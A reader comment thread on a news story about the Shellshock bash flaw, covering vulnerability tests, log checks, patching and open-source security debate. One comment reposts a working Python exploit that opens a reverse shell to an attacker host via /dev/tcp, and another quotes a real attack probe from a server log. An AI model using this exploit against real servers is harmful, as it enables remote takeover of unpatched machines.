Sign in / up

back to article Hackers thrash Bash Shellshock bug: World races to cover hole

Sysadmins and users have been urged to patch the severe Shellshock vulnerability in Bash on Linux and Unix systems – as hackers ruthlessly exploit the flaw to compromise or crash computers. But as "millions" of servers, PCs and devices lay vulnerable or are being updated, it's emerged the fix is incomplete. The flaw affects …

COMMENTS

Post your comment
House rules Send corrections
Add to 'My topics' unstar *

Page:

  1. Andy Non Silver badge

    How to check?

    I'm a Linux newbie, having switched from Windows to Kubuntu very recently. How do I check if I have bash on this computer (as opposed to dash... or both). All I know is I can do stuff from the command line via Konsole but don't know how to check for bash or versions of it.

    0 0 Reply
    1. Destroy All Monsters Silver badge
      Reply Icon

      Re: How to check?

      Simples run this in your shell:

      env x='() { :;}; echo OOPS' bash -c /bin/true

      Check whether "/bin/bash" exists:

      stat /bin/bash ; find / -name bash -type f

      Detect version:

      /bin/bash --version

      0 0 Reply
      1. Andy Non Silver badge
        Reply Icon

        Re: How to check?

        Thanks. :-)

        env x='() { :;}; echo OOPS' bash -c /bin/true

        Gave:

        bash: warning: x: ignoring function definition attempt

        bash: error importing function definition for `x'

        Presumably that is good?

        stat /bin/bash ; find / -name bash -type f

        Gave:

        File: ‘/bin/bash’

        Size: 986672 Blocks: 1928 IO Block: 4096 regular file

        e.t.c.

        /bin/bash --version

        Gave:

        GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)

        Copyright (C) 2013 Free Software Foundation, Inc.

        License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

        This is free software; you are free to change and redistribute it.

        There is NO WARRANTY, to the extent permitted by law.

        0 0 Reply
        1. Destroy All Monsters Silver badge
          Reply Icon
          Pint

          Re: How to check?

          Presumably that is good?

          Yes, you are good.

          GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)

          Further along than on Fedora 20, I just arrived at 4.2.47(1).

          0 0 Reply
        2. El Andy
          Reply Icon

          Re: How to check?

          You're less vulnerable, but you are still vulnerable. There is no version of bash which has been entirely patched against this issue so just having it there means you are potentially exposed.

          1 0 Reply
          1. theylie
            Reply Icon

            Re: How to check?

            debian is patched I asssure you

            1 1 Reply
          2. Jim 59
            Reply Icon

            Re: How to check?

            Ret Hat has released the second Bash patch in as many days. Just installed it here. Now Ormandy's test fails:

            $ env X='() { (a)=>\' sh -c "echo date"; cat echo

            date

            cat: echo: No such file or directory

            @Tenable @Register please stop telling everybody that IOT devices are at risk. IOT/embedded devices use Busybox, not Bash, as Tenable must know. If Tenable has discovered any that don't, please say which ones, or point out how Busybox vulnerability if you think there is one. Keep calm and carry on.

            1 0 Reply
        3. bob, mon!
          Reply Icon

          Re: How to check?

          That's what my Kubuntu Bash shell gave after I upgraded it (in the last couple of days), so you should be safe. If you have automatic updates turned on, then you got the patch fairly quickly.

          0 0 Reply
      2. Anonymous Coward
        Reply Icon
        Anonymous Coward

        Re: How to check?

        And since when have security holes in Linux been news? It's not like Linux servers being hacked isn't already commonplace.

        2 5 Reply
    2. Mage Silver badge
      Reply Icon

      Re: How to check?

      I actually have a BASH shell on Windows as well as all my Linux boxes and Laptop!

      Edit:

      No, it's not actually BASH on either

      0 0 Reply
    3. Anonymous Coward
      Reply Icon
      Anonymous Coward

      Re: How to check?

      Kubuntu doesn't use bash IIRC, it uses DASH instead which is not affected.

      0 0 Reply
      1. Adam 1
        Reply Icon

        Re: How to check?

        BTW, I would usually recommend against taking any BASH advice from someone called rm -rf / (although his advice is correct in this instance ;p)

        9 0 Reply
        1. (AMPC) Anonymous and mostly paranoid coward
          Reply Icon
          Linux

          Re: How to check?

          Wasn't that the BOFH's original handle?

          0 0 Reply
    4. theylie
      Reply Icon

      Re: How to check?

      apt-get update , apt-get upgrade, its patch just update you box

      0 1 Reply
    5. Anonymous Coward
      Reply Icon
      Anonymous Coward

      Re: How to check?

      It's really easy to check if you're exposed Just ask yourself if you fell for all the crap about unix and open source being more secure.

      If yes, yeah you have to worry.

      4 13 Reply
    6. Anonymous Coward
      Reply Icon
      Anonymous Coward

      Re: How to check?

      Thank god we got rid of our few remaining legacy systems and moved all our Linux boxes to Windows Server 2012 R2 after the recent OpenSSL mess.

      5 18 Reply
      1. Anonymous Coward
        Reply Icon
        Anonymous Coward

        Re: How to check?

        "Thank god we got rid of our few remaining legacy systems and moved all our Linux boxes to Windows Server 2012 R2 after the recent OpenSSL mess."

        Yeah , well done you. Now you only have to worry about this teeny tiny list of exploits for WS2012:

        http://www.cvedetails.com/vulnerability-list/vendor_id-26/product_id-23546/year-2013/Microsoft-Windows-Server-2012.html

        I'm spotting some severity 10s there and quite a few 9's.

        0 0 Reply
      2. Anonymous Coward
        Reply Icon
        Anonymous Coward

        Re: How to check?

        Don't Windows Servers use BASH?

        Not feeling so smug now, eh?

        0 1 Reply
        1. Michael Wojcik Silver badge
          Reply Icon

          Re: How to check?

          Don't Windows Servers use BASH?

          It's "bash", not "BASH". Yes, it's a partial acronym, but the "H" isn't an initial, and it's conventionally written in lower case.

          And I've never seen a version of Windows that shipped with bash. There are bash ports for Windows, of course, such as the ones available with Cygwin and MKS. Microsoft used to have a collection of UNIX shells and utilities for Windows (Windows Services for UNIX - I don't remember offhand if it's still available), but it supplied the Bourne shell and ksh (and maybe csh), not bash.

          My (development) Windows boxes have bash, because I have Cygwin installed. And it's vulnerable; you can even trivially demonstrate it by invoking bash from a Windows cmd shell session:

          C:\>set x=() { :;}; echo Vulnerable
          
                
                
          C:\>bash
          
                
                
          Vulnerable
          
                
                
          xxx@xxxxxx /cygdrive/c
          
                
                
          $

          Of course these machines don't have any listening processes that invoke bash, and they're behind a NATing firewall. But I'll be updating them shortly anyway.

          (Dear Reg: Would you please fucking fix the formatting of preformatted text already? People have been asking for this for years now.)

          2 0 Reply
        2. h4rm0ny
          Reply Icon

          Re: How to check?

          >>"Don't Windows Servers use BASH? Not feeling so smug now, eh?"

          Not sure if you're just really bad at over-elaborate sarcasm, or thick as a pig. I'm leaning toward the latter.

          1 0 Reply
    7. Jim 59
      Reply Icon

      Re: How to check?

      If you are running an internet facing Apache web server, check the logs for strings such as (). Eg. apart from Graham's scan yesterday, one of my servers was probed this morning from an IP address somewhere in the AWS in Thailand:

      $grep \(\) access.log

      54.251.83.67 - - [26/Sep/2014:06:10:55 +0100] "GET / HTTP/1.1" 403 466 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"

      Thanks to El Reg, the system was already patched.

      0 0 Reply
  2. Anonymous Coward
    Anonymous Coward

    Eyes on the code? Not.

    This episode isn't exactly a good advert for the thinking that open source code is more secure because there's plenty of people looking at the source code.

    This seems to have been in Bash for, what, 23 years? That's 23 years in which no one has actually gone and looked for flaws like this. Might as well have been close source for all the difference it'd make.

    30 14 Reply
    1. Destroy All Monsters Silver badge
      Reply Icon

      Re: Eyes on the code? Not.

      It's just fake history inserted by the Matrix to test us.

      7 0 Reply
    2. Voland's right hand Silver badge
      Reply Icon

      Re: Eyes on the code? Not.

      Eyes are on code, but elsewhere.

      Shell of any form is executed as standard by various Unix processes only if you invoke system(). That is the first think to check for during audits and it has been audited out and replaced by various safe pipe and fork+exec tachinques in 99.9% of the software.

      Further to this, bash has been identified as too complex to audit properly by the debian project (and from there by Ubuntu) long ago and it was one of the decisions on why it is not the default root shell and is strictly prohibited for use in any shell scripts which are part of the core system. In addition to that everyone and their dog cleanses environment like there is no tomorrow because of previous bugs dynamic loaders, locale, etc.

      So frankly, this is blown out of proportion. Sure, some CGIs written by an idiot without a clue somewhere will be vulnerable. However if they are vulnerable to this, they will be vulnerable to a gazillion of other things.

      18 12 Reply
      1. Destroy All Monsters Silver badge
        Reply Icon
        Megaphone

        Re: Eyes on the code? Not.

        So frankly, this is blown out of proportion.

        Directly from pastebin. Finally a good use for the megaphone icon that is unrelated to Israel.

        And El Reg, still no code tags that actually preserve whitespace? Shame.

        # CVE-2014-6271 cgi-bin reverse shell

        import httplib,urllib,sys

        if (len(sys.argv)<4):

        print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]

        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]

        exit(0)

        conn = httplib.HTTPConnection(sys.argv[1])

        reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

        headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell }

        conn.request("GET",sys.argv[2],headers=headers)

        res = conn.getresponse(); print res.status, res.reason ; data = res.read() ; print data

        5 5 Reply
      2. Destroy All Monsters Silver badge
        Reply Icon
        Paris Hilton

        Re: Eyes on the code? Not.

        bash too complex and it was one of the decisions on why it is not the default root shell and is strictly prohibited for use in any shell scripts which are part of the core system

        I don't get this rationale, which seems appropriate to setuid programs but not to shells. Otherwise the perl interpreter would be right out, too.

        A wild root shell running commands sourced from random system users sounds adventurous at the best of times, whether it is bash or the best-audited minimalistic shell ever. If you execute "rm -rf" it's relatively unimportant what runs it.

        Note that generally you don't even need the shell, you just need to run the process, like "logrotate" vs. "bash -c logrotate", but that's just by-the-by.

        2 0 Reply
      3. SimonMatthews
        Reply Icon

        Re: Eyes on the code? Not.

        "So frankly, this is blown out of proportion. Sure, some CGIs written by an idiot without a clue somewhere will be vulnerable. However if they are vulnerable to this, they will be vulnerable to a gazillion of other things."

        According to what I have read, you are underplaying the issue. The problem is that the shell can be compromised by environment variables passed to it. In a CGI situation, environment variables such as "USER_AGENT" are passed to the CGI program and bash can be compromised using this. Thus, even a well-written CGI program can result in a compromise.

        9 1 Reply
        1. Anonymous Coward
          Reply Icon
          Anonymous Coward

          Re: Eyes on the code? Not.

          I tend to agree that it has been blown out of proportion. I haven't worked anywhere using CGI since about 2001.

          I haven't worked anywhere where the world and his wife are allowed to ssh to a production server either, so that limits access to the admin who's got enough access to do what he wants anyway and the release team.

          Looking around we haven't found anything else which uses bash and is accessible from the outside world. We also internally limit who can access DHCP servers, for example, so only the administrators could do anything which invokes bash.

          So, if you still use CGI then you'd better take care, or if you've got things like DHCP configuration exposed to the outside. For the vast majority I don't see this as a huge problem, more something to patch just to be sure.

          1 2 Reply
          1. Michael Wojcik Silver badge
            Reply Icon

            Re: Eyes on the code? Not.

            I haven't worked anywhere using CGI since about 2001.

            Hurrah for you. How many zillions of cheap web-server providers out there are running cPanel? That's a big ol' bot army waiting to happen.

            1 0 Reply
        2. Alan Brown Silver badge
          Reply Icon

          Re: Eyes on the code? Not.

          The question is why CGIs would be running bash instead of a much more restrictive shell.

          Or why CGI is used at all. It's always been regarded as ragingly insecure.

          3 1 Reply
        3. oldcoder
          Reply Icon

          Re: Eyes on the code? Not.

          If that "well-written CGI" uses ANY shell then it is by definition, not well-written.

          1 0 Reply
      4. theylie
        Reply Icon

        Re: Eyes on the code? Not.

        Another hyped event , to kill free software, that is where all this crap is headed

        2 4 Reply
    3. Anonymous Coward
      Reply Icon
      Anonymous Coward

      Re: Eyes on the code? Not.

      This episode isn't exactly a good advert for the thinking that open source code is more secure because there's plenty of people looking at the source code.

      You need to consider how it's been handled, compared to how it would have been with closed-source.

      eg, My computer was automatically patched days before the bug was publicly known.

      Closed source:

      - There'd be an announcement if you're lucky - bugs like this are bad press.

      - Full details wouldn't be disclosed (only the motivated (ie, crackers) would smell the smoke and investigate further).

      - Then you'd have to wait days/weeks for the patch.

      - Does your vendor even provide automatic updates? Did you disable them?

      You're relying on a single entity. Most of us here work for closed-source companies, and we all know exactly how they tick.

      11 9 Reply
    4. Anonymous Coward
      Reply Icon
      Anonymous Coward

      @AC

      "This episode isn't exactly a good advert for the thinking that open source code is more secure because there's plenty of people looking at the source code.".

      Actually I think the whole thing is a little more nuanced than what most people seem to make off it in the first place. IMO only a few people (zealots or strong advocates I guess) actually use this argument as some weird "fact" of superiority. But the thing is that the whole "quantity makes quality" argument is flawed by design anyway, there are plenty of cases where this doesn't or even cannot work.

      Heck, there have already been way too many examples where the whole analogy failed. Take for example the (Debian) OpenSSL disaster which cause could even be backtracked to made changes in its engine itself (by the Debian package maintainer I might add).

      And even that went on for years until it finally got out into the open.

      On the other hand: many hands do tend to give out better security though in my opinion.

      Think about it: if the original developer, for whatever reason, wouldn't be able to come up with a fix then I'm pretty sure that there are dozens, maybe even hundreds, of developers out there who would be perfectly willing and capable to fix this.

      Personally I think that's where people tend to go wrong with the whole "many eyes" argument. Even many eyes can overlook the obvious. Many hands otoh....

      4 0 Reply
    5. Bump in the night
      Reply Icon

      Re: Eyes on the code? Not.

      Oh, but isn't it "Built From the Ground Up" to be secure? Hmm, don't hear that claim either anymore.

      Well will somebody please tell me what the hell is secure? Oh and don't tell me nothing. I don't want to hear nothing, I prefer endless debates on what is and isn't.

      3 4 Reply
      1. asdf
        Reply Icon

        Re: Eyes on the code? Not.

        >Well will somebody please tell me what the hell is secure?

        I am sure somebody can give a formal Turing like definition but personally I define it with three letters, VMS. Its too bad DEC and all the ass clowns that followed let it wither on the vine.

        3 2 Reply
        1. Michael Wojcik Silver badge
          Reply Icon

          Re: Eyes on the code? Not.

          >Well will somebody please tell me what the hell is secure?

          I am sure somebody can give a formal Turing like definition

          No one can provide a formal definition of "secure", because it's meaningless outside context. Specifically, it can only be defined as a sufficient (for some purpose) value of some metric (probability of compromise, attacker's work factor, average loss, etc) under a particular threat model."Secure" in the abstract means nothing.

          1 0 Reply

      2. This post has been deleted by its author

    6. theylie
      Reply Icon

      Re: Eyes on the code? Not.

      and running most of the internet quite well most of that time, how could that be? google "Nimda"

      0 0 Reply
    7. Nextweek
      Reply Icon

      Re: Eyes on the code? Not.

      Actually this bug is an awesome demonstration of how bad closed ecosystems are. The open systems that are running on Linux (RedHat, ubuntu, etc) are all patched and updated.

      HOWEVER! OSX which is also affected is still waiting. If I owned an Apple server I'd be screaming right now.

      Embedded devices with closed eco systems are stuffed. Basically, you can kick back and relax if you are use open source in the manner it was intended to be used.

      2 2 Reply
    8. NogginTheNog
      Reply Icon
      Thumb Up

      Re: Eyes on the code? Not.

      In defence of OS though (and I don't always do that, especially after Heartbleed), I checked my CentOS boxes yesterday morning. They were vulnerable. I ran "yum -y update" on them. They were then no longer vulnerable.

      I'd love to see MS get a fix out THAT fast!

      1 0 Reply
      1. Anonymous Coward
        Reply Icon
        Anonymous Coward

        Re: Eyes on the code? Not.

        I installed Linux Mint on my wife's laptop about 4 months ago as Vista was extremely sluggish. First time I'd ever installed Linux and found it simple enough to install and worked well.

        But i just checked, and the terminal on it seems to be vulnerable to this exploit from what I can gather running the test code on it.

        There is nothing on the machine indicating I need to install any fix. In fact, to be honest, I don't know what to do to fix it - it's the first and only time I've installed Linux. I've gone to package manager, but nothing screaming for me to update anything there.

        So what should I be looking for? On Windows, there would be an update sitting in the system tray. I am assuming something like Mint which seems very easy to install and ideal for former XP or Vista users must make this easy?

        1 0 Reply
        1. asdf
          Reply Icon

          Re: Eyes on the code? Not.

          Going to get downvoted hard and being a former big fan of Mint Linux its Achille's heel especially with LMDE is security updates. Clem may argue otherwise but its true. Still for a bug this big you are probably best opening a terminal and typing sudo apt-get update && sudo apt-get dist-upgrade which should pull down the bash fix. Generally you want to use Mint's update manager because those commands have the possibility to break software on the system but in my experience its very very rare it does. In the update manager I recommend setting it so that security updates ignore the 1 through 5 break system and get installed right away. Forgot the setting for doing this but google is your friend.

          0 0 Reply
        2. Kiwi
          Reply Icon
          Linux

          Re: Eyes on the code? Not.

          There is nothing on the machine indicating I need to install any fix. In fact, to be honest, I don't know what to do to fix it - it's the first and only time I've installed Linux. I've gone to package manager, but nothing screaming for me to update anything there.

          Bottom right of the screen, where the status bar and clock would be in Windows - there should be a blue "shield" ICON with an exclamation mark on it - some sort of shield icon anyway from memory. Click on that and follow the instructions.

          Alternatively, click on your equivalent to a "start" button, type in "update manager", and follow the prompts.

          HTH

          0 0 Reply
    9. Jim 59
      Reply Icon

      Re: Eyes on the code? Not.

      Nah. No hacker worth his salt should waste time over this now. He will be better off looking for flaws that are NOT currently being worked on, discussed and updated by a fair chunk of the planet's IT experts. Shellshock's cover is "blown". Thanks partly to The Reg. The black hats may catch a few internet facing Raspberry Pi's, but to get a commercial server, they would have to work so fast the typing will give them repetitive strain injury typing.

      This is a result of the "open" approach.

      0 0 Reply
  3. Anonymous Coward
    Anonymous Coward

    CentOS 4

    I have patched most of my servers but one is still running CentOS 4.7, which went out of support in 2012. Was going to close it down after Christmas, but meanwhile it sits out there ready to host a worm. Let's hope somebody comes up with a patch or workaround for the older machines.

    To make things worse this old one still runs Cpanel, which enables CGI :(

    0 0 Reply
    1. BlinkenLights
      Reply Icon

      Re: CentOS 4

      I compiled and installed the latest version on RH8.0, so no reason it would not work on CentOS 4...

      https://ftp.gnu.org/gnu/bash/

      Download 4.3 and apply all 25 patches. Patch 25 is the fix.

      6 0 Reply
      1. Anonymous Coward
        Reply Icon
        Anonymous Coward

        Re: CentOS 4

        Or download the source RPM from the CentOS 5 updates repo, unpack using rpm, run rpmbuild, install the rpm binary package with yum, and voila, you have backported and installed a package to CentOS 4. It really is that simple.

        2 0 Reply
        1. Michael Wojcik Silver badge
          Reply Icon

          Re: CentOS 4

          Or download the source RPM from the CentOS 5 updates repo, unpack using rpm, run rpmbuild, install the rpm binary package with yum, and voila, you have backported and installed a package to CentOS 4. It really is that simple.

          Can I point out that really is not, in fact, very simple?

          Don't get me wrong. It's not a terribly complex process - and downloading the source, then running "./configure && make install" is even simpler (though you don't get the benefit of package tracking). But I've been a UNIX developer since '87, and been using Linux since the mid-90s; I build and install OSS frequently (and modify it pretty often); I've used rpm quite a few times and yum several times; and I'd still have to review the man pages to see exactly what options I'd want for those steps.

          And for someone who hasn't used the rpm and yum command-line clients? Who doesn't even know to use them in the first place?

          For this sort of case, we really haven't progressed that far from "find a tarball with archie, FTP it, and see if you can build it".

          Distributions that are still supported and pull updates automatically do make things pretty easy for non-technical users. Outside that envelope, though, even experienced developers who don't regularly mess with package maintenance will have to do some poking around to get things updated.

          (And I'm not claiming any other OS is better, mind you. I've spent many an hour wrangling Windows updates - when Microsoft makes them available at all - and AIX PTFs and HP-UX depots and OS/400 APARs and you name it. The software industry is lousy at fixing its stuff across the board. And so are lots of other industries.)

          1 0 Reply

    2. This post has been deleted by its author

Page:

POST COMMENT House rules

Not a member of The Register? Create a new account here.

Forgotten password ?

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Other stories you might like